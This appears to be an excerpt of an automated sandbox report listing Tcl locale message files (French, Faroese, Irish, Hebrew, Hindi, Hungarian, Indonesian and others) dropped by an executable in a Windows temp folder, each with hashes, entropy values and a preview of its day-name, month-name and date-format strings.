Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	986
Entropy (8bit):	4.07740021579371
Encrypted:	false
SSDEEP:	12:4EnLzu87mY5mvAqO6RxmtV5qHbMj6aywE1ZD4ScMfRDc6VZTEpSecbLwJQT1Y4:4azu874/RqEXsSpffTBtbQQT1t
MD5:	996B699F6821A055B826415446A11C8E
SHA1:	C382039ED7D2AE8D96CF2EA55FA328AE9CFD2F7D
SHA-256:	F249DD1698ED1687E13654C04D08B829193027A2FECC24222EC854B59350466A
SHA-512:	AB6F5ABC9823C7F7A67BA1E821680ACD37761F83CD1F46EC731AB2B72AA34C2E523ACE288E9DE70DB3D58E11F5CB42ECB5A5E4E39BFD7DFD284F1FF6B637E11D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fo DAYS_OF_WEEK_ABBREV [list \. "sun"\. "m\u00e1n"\. "t\u00fds"\. "mik"\. "h\u00f3s"\. "fr\u00ed"\. "ley"]. ::msgcat::mcset fo DAYS_OF_WEEK_FULL [list \. "sunnudagur"\. "m\u00e1nadagur"\. "t\u00fdsdagur"\. "mikudagur"\. "h\u00f3sdagur"\. "fr\u00edggjadagur"\. "leygardagur"]. ::msgcat::mcset fo MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "mai"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "des"\. ""]. ::msgcat::mcset fo MONTHS_FULL [list \. "januar"\. "februar"\. "mars"\. "apr\u00edl"\. "mai"\. "juni"\. "juli"\. "august"\. "september"\. "oktober"\. "november"\. "desember"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fo_fo.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.816022066048386
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoZA4HFLoZd3vG5oZd3v6X5oZd+3vnFDoAov:4EnLzu8kyFO3vf3v6f3v9dy
MD5:	A76D09A4FA15A2C985CA6BDD22989D6A
SHA1:	E6105EBCDC547FE2E2FE9EDDC9C573BBDAD85AD0
SHA-256:	7145B57AC5C074BCA968580B337C04A71BBD6EFB93AFAF291C1361FD700DC791
SHA-512:	D16542A1CCDC3F5C2A20300B7E38F43F94F7753E0E99F08EB7240D4F286B263815AD481B29F4E96F268E24BA17C5E135E356448685E1BF65B2B63CE6146AA54C
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fo_FO DATE_FORMAT "%d/%m-%Y". ::msgcat::mcset fo_FO TIME_FORMAT "%T". ::msgcat::mcset fo_FO TIME_FORMAT_12 "%T". ::msgcat::mcset fo_FO DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.313638548211754
Encrypted:	false
SSDEEP:	24:4azu8qW09HSZ2p60wTyVz5bGzJzzTK+VUuG4CNnvxvB:46JYY5moleiUb42vlB
MD5:	B475F8E7D7065A67E73B1E5CDBF9EB1F
SHA1:	1B689EDC29F8BC4517936E5D77A084083F12AE31
SHA-256:	7A87E418B6D8D14D8C11D63708B38D607D28F7DDBF39606C7D8FBA22BE7892CA
SHA-512:	EA77EFF9B23A02F59526499615C08F1314A91AB41561856ED7DF45930FDD8EC11A105218890FD012045C4CC40621C226F94BDC3BEB62B83EA8FAA7AEC20516E7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fr DAYS_OF_WEEK_ABBREV [list \. "dim."\. "lun."\. "mar."\. "mer."\. "jeu."\. "ven."\. "sam."]. ::msgcat::mcset fr DAYS_OF_WEEK_FULL [list \. "dimanche"\. "lundi"\. "mardi"\. "mercredi"\. "jeudi"\. "vendredi"\. "samedi"]. ::msgcat::mcset fr MONTHS_ABBREV [list \. "janv."\. "f\u00e9vr."\. "mars"\. "avr."\. "mai"\. "juin"\. "juil."\. "ao\u00fbt"\. "sept."\. "oct."\. "nov."\. "d\u00e9c."\. ""]. ::msgcat::mcset fr MONTHS_FULL [list \. "janvier"\. "f\u00e9vrier"\. "mars"\. "avril"\. "mai"\. "juin"\. "juillet"\. "ao\u00fbt"\. "septembre"\. "octobre"\. "novembre"\. "d\u00e9cembre"\. ""]. ::msgcat::mcset fr BCE "a

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fr_be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.863262857917797
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoXqH5oIX3vG5oIX3v6X5og+3vnFDoAov:4EnLzu81qHd3v63v6Y3v9dy
MD5:	483652B6A3D8010C3CDB6CAD0AD95E72
SHA1:	8FCDB01D0729E9F1A0CAC56F79EDB79A37734AF5
SHA-256:	980E703DFB1EEDE7DE48C958F6B501ED4251F69CB0FBCE0FCA85555F5ACF134A
SHA-512:	0282B8F3884BB4406F69AF2D2F44E431FB8077FEA86D09ED5607BC0932A049853D0C5CAF0B57EF0289F42A8265F76CC4B10111A28B1E0E9BD54E9319B25D8DB6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fr_BE DATE_FORMAT "%d/%m/%y". ::msgcat::mcset fr_BE TIME_FORMAT "%T". ::msgcat::mcset fr_BE TIME_FORMAT_12 "%T". ::msgcat::mcset fr_BE DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fr_ca.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.843031408533295
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmooI9jo13vG5o13v6X5o1+3vnFDoAov:4EnLzu8eI9Q3vB3v613v9dy
MD5:	017D816D73DAB852546169F3EC2D16F2
SHA1:	3145BB54D9E1E4D9166186D5B43F411CE0250594
SHA-256:	F16E212D5D1F6E83A9FC4E56874E4C7B8F1947EE882610A73199480319EFA529
SHA-512:	4D4EF395B15F750F16EC64162BE8AB4B082C6CD1877CA63D5EA4A5E940A7F98E46D792115FD105B293DC43714E8662BC4411E14E93F09769A064622E52EDE258
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fr_CA DATE_FORMAT "%Y-%m-%d". ::msgcat::mcset fr_CA TIME_FORMAT "%T". ::msgcat::mcset fr_CA TIME_FORMAT_12 "%T". ::msgcat::mcset fr_CA DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\fr_ch.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	4.866549204705568
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoFt2poF+3vG5oF+3v6X5o++3vnFDoAov:4EnLzu8btn+3vB+3v6+3v9dy
MD5:	8B27EFF0D45F536852E7A819500B7F93
SHA1:	CAED7D4334BAD8BE586A1AEEE270FB6913A03512
SHA-256:	AB160BFDEB5C3ADF071E01C78312A81EE4223BBF5470AB880972BBF5965291F3
SHA-512:	52DD94F524C1D9AB13F5933265691E8C44B2946F507DE30D789FDCFEA7839A4076CB55A01CEB49194134D7BC84E4F490341AAB9DFB75BB960B03829D6550872B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset fr_CH DATE_FORMAT "%d. %m. %y". ::msgcat::mcset fr_CH TIME_FORMAT "%T". ::msgcat::mcset fr_CH TIME_FORMAT_12 "%T". ::msgcat::mcset fr_CH DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ga.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.24180563443443
Encrypted:	false
SSDEEP:	24:4azu8qppr5xqPs5Jpwe3zESbs5JpbxK+dfJ:46ct5XGe3zwXu4fJ
MD5:	88D5CB026EBC3605E8693D9A82C2D050
SHA1:	C2A613DC7C367A841D99DE15876F5E7A8027BBF8
SHA-256:	057C75C1AD70653733DCE43EA5BF151500F39314E8B0236EE80F8D5DB623627F
SHA-512:	253575BFB722CF06937BBE4E9867704B95EFE7B112B370E1430A2027A1818BD2560562A43AD2D067386787899093B25AE84ABFE813672A15A649FEF487E31F7A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ga DAYS_OF_WEEK_ABBREV [list \. "Domh"\. "Luan"\. "M\u00e1irt"\. "C\u00e9ad"\. "D\u00e9ar"\. "Aoine"\. "Sath"]. ::msgcat::mcset ga DAYS_OF_WEEK_FULL [list \. "D\u00e9 Domhnaigh"\. "D\u00e9 Luain"\. "D\u00e9 M\u00e1irt"\. "D\u00e9 C\u00e9adaoin"\. "D\u00e9ardaoin"\. "D\u00e9 hAoine"\. "D\u00e9 Sathairn"]. ::msgcat::mcset ga MONTHS_ABBREV [list \. "Ean"\. "Feabh"\. "M\u00e1rta"\. "Aib"\. "Beal"\. "Meith"\. "I\u00fail"\. "L\u00fan"\. "MF\u00f3mh"\. "DF\u00f3mh"\. "Samh"\. "Noll"\. ""]. ::msgcat::mcset ga MONTHS_FULL [list \. "Ean\u00e1ir"\. "Feabhra"\. "M\u00e1rta"\. "Aibre\u00e1n"\. "M\u00ed na Bealtaine"\. "Meith"\. "I\u00fail"\. "L\u00fanasa"

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\ga_ie.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.7755422576113595
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmobHAyg0obHAqo+3vG5obHAqo+3v6X5obHAy9+3vnFDoAov:4EnLzu8s33vj3v6r3v9dy
MD5:	04452D43DA05A94414973F45CDD12869
SHA1:	AEEDCC2177B592A0025A1DBCFFC0EF3634DBF562
SHA-256:	2072E48C98B480DB5677188836485B4605D5A9D99870AC73B5BFE9DCC6DB46F4
SHA-512:	5A01156FD5AB662EE9D626518B4398A161BAF934E3A618B3A18839A944AEEAEE6FE1A5279D7750511B126DB3AD2CC992CDA067573205ACBC211C34C8A099305F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ga_IE DATE_FORMAT "%d.%m.%y". ::msgcat::mcset ga_IE TIME_FORMAT "%T". ::msgcat::mcset ga_IE TIME_FORMAT_12 "%T". ::msgcat::mcset ga_IE DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\gl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	950
Entropy (8bit):	4.037076523160125
Encrypted:	false
SSDEEP:	24:4azu8LpP8ihyz/ptFOBViNef9kekIsnyFo0:46J0i0zRtUB0c9dkVneo0
MD5:	B940E67011DDBAD6192E9182C5F0CCC0
SHA1:	83A284899785956ECB015BBB871E7E04A7C36585
SHA-256:	C71A07169CDBE9962616D28F38C32D641DA277E53E67F8E3A69EB320C1E2B88C
SHA-512:	28570CB14452CA5285D97550EA77C9D8F71C57DE6C1D144ADB00B93712F588AF900DA32C10C3A81C7A2DEE11A3DC843780D24218F53920AB72E90321677CC9E8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset gl DAYS_OF_WEEK_ABBREV [list \. "Dom"\. "Lun"\. "Mar"\. "M\u00e9r"\. "Xov"\. "Ven"\. "S\u00e1b"]. ::msgcat::mcset gl DAYS_OF_WEEK_FULL [list \. "Domingo"\. "Luns"\. "Martes"\. "M\u00e9rcores"\. "Xoves"\. "Venres"\. "S\u00e1bado"]. ::msgcat::mcset gl MONTHS_ABBREV [list \. "Xan"\. "Feb"\. "Mar"\. "Abr"\. "Mai"\. "Xu\u00f1"\. "Xul"\. "Ago"\. "Set"\. "Out"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset gl MONTHS_FULL [list \. "Xaneiro"\. "Febreiro"\. "Marzo"\. "Abril"\. "Maio"\. "Xu\u00f1o"\. "Xullo"\. "Agosto"\. "Setembro"\. "Outubro"\. "Novembro"\. "Decembro"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\gl_es.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.839318757139709
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoPhkgvNLoPxsF3v6aZoPhk9+3vR6HK:4EnLzu8NrvNEK3v6a2J3voq
MD5:	3FCDF0FC39C8E34F6270A646A996F663
SHA1:	6999E82148E1D1799C389BCC6C6952D5514F4A4B
SHA-256:	BC2B0424CF27BEF67F309E2B6DFFEF4D39C46F15D91C15E83E070C7FD4E20C9C
SHA-512:	CDB9ED694A7E555EB321F559E9B0CC0998FD526ADEF33AD08C56943033351D70900CD6EC62D380E23AB9F65CCFB85F4EEEB4E17FA8CC05E56C2AC57FBEDE721E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset gl_ES DATE_FORMAT "%d %B %Y". ::msgcat::mcset gl_ES TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset gl_ES DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\gv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	4.13549698574103
Encrypted:	false
SSDEEP:	24:4azu81WjLHkFQSMnKIeCPHy3CAVfbku5SJ:460jwyLTySI4J
MD5:	3350E1228CF7157ECE68762F967F2F32
SHA1:	2D0411DA2F6E0441B1A8683687178E9EB552B835
SHA-256:	75AA686FF901C9E66E51D36E8E78E5154B57EE9045784568F6A8798EA9689207
SHA-512:	1D0B44F00A5E6D7B8CECB67EAF060C6053045610CF7246208C8E63E7271C7780587A184D38ECFDFDCFB976F9433FEFDA0BAF8981FCD197554D0874ED1E6B6428
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset gv DAYS_OF_WEEK_ABBREV [list \. "Jed"\. "Jel"\. "Jem"\. "Jerc"\. "Jerd"\. "Jeh"\. "Jes"]. ::msgcat::mcset gv DAYS_OF_WEEK_FULL [list \. "Jedoonee"\. "Jelhein"\. "Jemayrt"\. "Jercean"\. "Jerdein"\. "Jeheiney"\. "Jesarn"]. ::msgcat::mcset gv MONTHS_ABBREV [list \. "J-guer"\. "T-arree"\. "Mayrnt"\. "Avrril"\. "Boaldyn"\. "M-souree"\. "J-souree"\. "Luanistyn"\. "M-fouyir"\. "J-fouyir"\. "M.Houney"\. "M.Nollick"\. ""]. ::msgcat::mcset gv MONTHS_FULL [list \. "Jerrey-geuree"\. "Toshiaght-arree"\. "Mayrnt"\. "Averil"\. "Boaldyn"\. "Mean-souree"\. "Jerrey-souree"\. "Luanistyn"\. "Mean-fouyir"\. "Jerrey-fouyir"\. "Mee Houney"\.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\gv_gb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.890913756172577
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoQbtvvNLoQLE3v6aZoQbto+3vR6HK:4EnLzu8CbtvvNBLE3v6avbtF3voq
MD5:	A65040748621B18B1F88072883891280
SHA1:	4D0ED6668A99BAC9B273B0FA8BC74EB6BB9DDFC8
SHA-256:	823AF00F4E44613E929D32770EDB214132B6E210E872751624824DA5F0B78448
SHA-512:	16FFD4107C3B85619629B2CD8A48AB9BC3763FA6E4FE4AE910EDF3B42209CEEB8358D4E7E531C2417875D05E5F801BB19B10130FA8BF70E44CFD8F1BA06F6B6E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset gv_GB DATE_FORMAT "%d %B %Y". ::msgcat::mcset gv_GB TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset gv_GB DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\he.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1938
Entropy (8bit):	4.234997703698801
Encrypted:	false
SSDEEP:	24:4azu8Hdd4CLxLtmCLoCLHCL3CLXLICLP1ptzLzCJCLt5LL53h5Lq+p5LcL3pLzCt:4655ftB9hMcGlhO8/n/0ecOfC3
MD5:	FFD5D8007D78770EA0E7E5643F1BD20A
SHA1:	40854EB81EE670086D0D0C0C2F0F9D8406DF6B47
SHA-256:	D27ADAF74EBB18D6964882CF931260331B93AE4B283427F9A0DB147A83DE1D55
SHA-512:	EFBDADE1157C7E1CB8458CBA89913FB44DC2399AD860FCAEDA588B99230B0934EDAAF8BAB1742E03F06FA8047D3605E8D63BB23EC4B32155C256D07C46ABBFEE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset he DAYS_OF_WEEK_ABBREV [list \. "\u05d0"\. "\u05d1"\. "\u05d2"\. "\u05d3"\. "\u05d4"\. "\u05d5"\. "\u05e9"]. ::msgcat::mcset he DAYS_OF_WEEK_FULL [list \. "\u05d9\u05d5\u05dd \u05e8\u05d0\u05e9\u05d5\u05df"\. "\u05d9\u05d5\u05dd \u05e9\u05e0\u05d9"\. "\u05d9\u05d5\u05dd \u05e9\u05dc\u05d9\u05e9\u05d9"\. "\u05d9\u05d5\u05dd \u05e8\u05d1\u05d9\u05e2\u05d9"\. "\u05d9\u05d5\u05dd \u05d7\u05de\u05d9\u05e9\u05d9"\. "\u05d9\u05d5\u05dd \u05e9\u05d9\u05e9\u05d9"\. "\u05e9\u05d1\u05ea"]. ::msgcat::mcset he MONTHS_ABBREV [list \. "\u05d9\u05e0\u05d5"\. "\u05e4\u05d1\u05e8"\. "\u05de\u05e8\u05e5"\. "\u05d0\u05e4\u05e8"\. "\u05de\u05d0\u05d9"\. "\u05d9\u05d5\u05e0"\. "\u05d9\u05d5\u05dc"\. "\u05d0\u05d5\u05d2"\. "\u05e1\u05e4\u05d8"\.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\hi.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	4.1505681803025185
Encrypted:	false
SSDEEP:	24:4azu8dVYe48VcOVcz1HtDVcqiVca4mGE18VcRBkEVcRfVcRMsVcqiVca4mGE18VI:465v4bNVO7GQbBkDuM4O7GQbBkDuh3x
MD5:	349823390798DF68270E4DB46C3CA863
SHA1:	814F9506FCD8B592C22A47023E73457C469B2F53
SHA-256:	FAFE65DB09BDCB863742FDA8705BCD1C31B59E0DD8A3B347EA6DEC2596CEE0E9
SHA-512:	4D12213EA9A3EAD6828E21D3B5B73931DC922EBE8FD2373E3A3E106DF1784E0BCE2C9D1FBEAE0D433449BE6D28A0F2F50F49AB8C208E69D413C6787ADF52915E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset hi DAYS_OF_WEEK_FULL [list \. "\u0930\u0935\u093f\u0935\u093e\u0930"\. "\u0938\u094b\u092e\u0935\u093e\u0930"\. "\u092e\u0902\u0917\u0932\u0935\u093e\u0930"\. "\u092c\u0941\u0927\u0935\u093e\u0930"\. "\u0917\u0941\u0930\u0941\u0935\u093e\u0930"\. "\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930"\. "\u0936\u0928\u093f\u0935\u093e\u0930"]. ::msgcat::mcset hi MONTHS_ABBREV [list \. "\u091c\u0928\u0935\u0930\u0940"\. "\u092b\u093c\u0930\u0935\u0930\u0940"\. "\u092e\u093e\u0930\u094d\u091a"\. "\u0905\u092a\u094d\u0930\u0947\u0932"\. "\u092e\u0908"\. "\u091c\u0942\u0928"\. "\u091c\u0941\u0932\u093e\u0908"\. "\u0905\u0917\u0938\u094d\u0924"\. "\u0938\u093f\u0924\u092e\u094d\u092c\u0930"\. "\u0905\u0915\u094d\u091f\u0942\u092c\u0930"\. "\u0928\u0935\u092e\u094d\u092c\u093

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\hi_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.882853646266983
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmocv+9/Loz3v6rZoco+3v+6f6HK:4EnLzu8+vWq3v6rpF3vmq
MD5:	BC86C58492BCB8828489B871D2A727F0
SHA1:	22EEC74FC011063071A40C3860AE8EF38D898582
SHA-256:	29C7CA358FFFCAF94753C7CC2F63B58386234B75552FA3272C2E36F253770C3F
SHA-512:	ABFE093952144A285F7A86800F5933F7242CB224D917B4BAA4FD2CA48792BEFCBEE9AB7073472510B53D31083719EC68A77DD896410B3DC3C6E2CCD60C2E92F9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset hi_IN DATE_FORMAT "%d %M %Y". ::msgcat::mcset hi_IN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset hi_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\hr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	4.291836444825864
Encrypted:	false
SSDEEP:	24:4azu84VBVgqoLpYDThoLZDT25KNWg1gqNvEKvOAl:46nNYPSLZP2ZVqJTO+
MD5:	46FD3DF765F366C60B91FA0C4DE147DE
SHA1:	5E006D1ACA7BBDAC9B8A65EFB26FAFC03C6E9FDE
SHA-256:	9E14D8F7F54BE953983F198C8D59F38842C5F73419A5E81BE6460B3623E7307A
SHA-512:	3AC26C55FB514D9EA46EF57582A2E0B64822E90C889F4B83A62EE255744FEBE0A012079DD764E0F6C7338B3580421C5B6C8575E0B85632015E3689CF58D9EB77
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset hr DAYS_OF_WEEK_ABBREV [list \. "ned"\. "pon"\. "uto"\. "sri"\. "\u010det"\. "pet"\. "sub"]. ::msgcat::mcset hr DAYS_OF_WEEK_FULL [list \. "nedjelja"\. "ponedjeljak"\. "utorak"\. "srijeda"\. "\u010detvrtak"\. "petak"\. "subota"]. ::msgcat::mcset hr MONTHS_ABBREV [list \. "sij"\. "vel"\. "o\u017eu"\. "tra"\. "svi"\. "lip"\. "srp"\. "kol"\. "ruj"\. "lis"\. "stu"\. "pro"\. ""]. ::msgcat::mcset hr MONTHS_FULL [list \. "sije\u010danj"\. "velja\u010da"\. "o\u017eujak"\. "travanj"\. "svibanj"\. "lipanj"\. "srpanj"\. "kolovoz"\. "rujan"\. "listopad"\. "studeni"\. "prosinac"\. ""]. ::msgcat::mcset hr DATE_FORMAT "

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\hu.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1327
Entropy (8bit):	4.447184847972284
Encrypted:	false
SSDEEP:	24:4azu8Xjv5ZemNruwcVNtZHTE9wocxPvt9vq:46fBZemNqwIZHTEE3t5q
MD5:	0561E62941F6ED8965DFC4E2B424E028
SHA1:	C622B21C0DBA83F943FBD10C746E5FABE20235B2
SHA-256:	314F4180C05DE4A4860F65AF6460900FFF77F12C08EDD728F68CA0065126B9AE
SHA-512:	CAD01C963145463612BBAE4B9F5C80B83B228C0181C2500CE8CE1394E1A32CCA3587221F1406F6343029059F5AD47E8FD5514535DCEA45BBA6B2AE76993DFFBD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset hu DAYS_OF_WEEK_ABBREV [list \. "V"\. "H"\. "K"\. "Sze"\. "Cs"\. "P"\. "Szo"]. ::msgcat::mcset hu DAYS_OF_WEEK_FULL [list \. "vas\u00e1rnap"\. "h\u00e9tf\u0151"\. "kedd"\. "szerda"\. "cs\u00fct\u00f6rt\u00f6k"\. "p\u00e9ntek"\. "szombat"]. ::msgcat::mcset hu MONTHS_ABBREV [list \. "jan."\. "febr."\. "m\u00e1rc."\. "\u00e1pr."\. "m\u00e1j."\. "j\u00fan."\. "j\u00fal."\. "aug."\. "szept."\. "okt."\. "nov."\. "dec."\. ""]. ::msgcat::mcset hu MONTHS_FULL [list \. "janu\u00e1r"\. "febru\u00e1r"\. "m\u00e1rcius"\. "\u00e1prilis"\. "m\u00e1jus"\. "j\u00fanius"\. "j\u00falius"\. "augusztus"\. "szeptember"\. "okt\u00f3ber"\. "nove

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\id.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	914
Entropy (8bit):	3.9322448438499125
Encrypted:	false
SSDEEP:	24:4azu8acGEXctI9tdb/7579g6tdhUgQbVg:46GBEXKI9tdHtdwg
MD5:	CE834C7E0C3170B733122FF8BF38C28D
SHA1:	693ACC2A0972156B984106AFD07911AF14C4F19C
SHA-256:	1F1B0F5DEDE0263BD81773A78E98AF551F36361ACCB315B618C8AE70A5FE781E
SHA-512:	23BFC6E2CDB7BA75AAC3AA75869DF4A235E4526E8E83D73551B3BC2CE89F3675EBFA75BC94177F2C2BD6AC58C1B125BE65F8489BC4F85FA701415DB9768F7A80
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset id DAYS_OF_WEEK_ABBREV [list \. "Min"\. "Sen"\. "Sel"\. "Rab"\. "Kam"\. "Jum"\. "Sab"]. ::msgcat::mcset id DAYS_OF_WEEK_FULL [list \. "Minggu"\. "Senin"\. "Selasa"\. "Rabu"\. "Kamis"\. "Jumat"\. "Sabtu"]. ::msgcat::mcset id MONTHS_ABBREV [list \. "Jan"\. "Peb"\. "Mar"\. "Apr"\. "Mei"\. "Jun"\. "Jul"\. "Agu"\. "Sep"\. "Okt"\. "Nov"\. "Des"\. ""]. ::msgcat::mcset id MONTHS_FULL [list \. "Januari"\. "Pebruari"\. "Maret"\. "April"\. "Mei"\. "Juni"\. "Juli"\. "Agustus"\. "September"\. "Oktober"\. "November"\. "Desember"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\msgs\id_id.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.857986813915644
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo0kGvNLo0F/W3v6aZo0kT+3vR6HK:4EnLzu8NGvNS3v6aQK3voq
MD5:	A285817AAABD5203706D5F2A34158C03
SHA1:	18FD0178051581C9F019604499BF91B16712CC91
SHA-256:	DB81643BA1FD115E9D547943A889A56DFC0C81B63F21B1EDC1955C6884C1B2F5
SHA-512:	0B6C684F2E5122681309A6212980C95C14172723F12D4864AF8A8A913DC7081BC42AC39CF087D29770B4A1F0B3B1F712856CBF05D1975FFFC008C16A91081A00
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset id_ID DATE_FORMAT "%d %B %Y". ::msgcat::mcset id_ID TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset id_ID DATE_TIME_FORMAT "%d %B %Y %l:%M:%S %P %z".}.

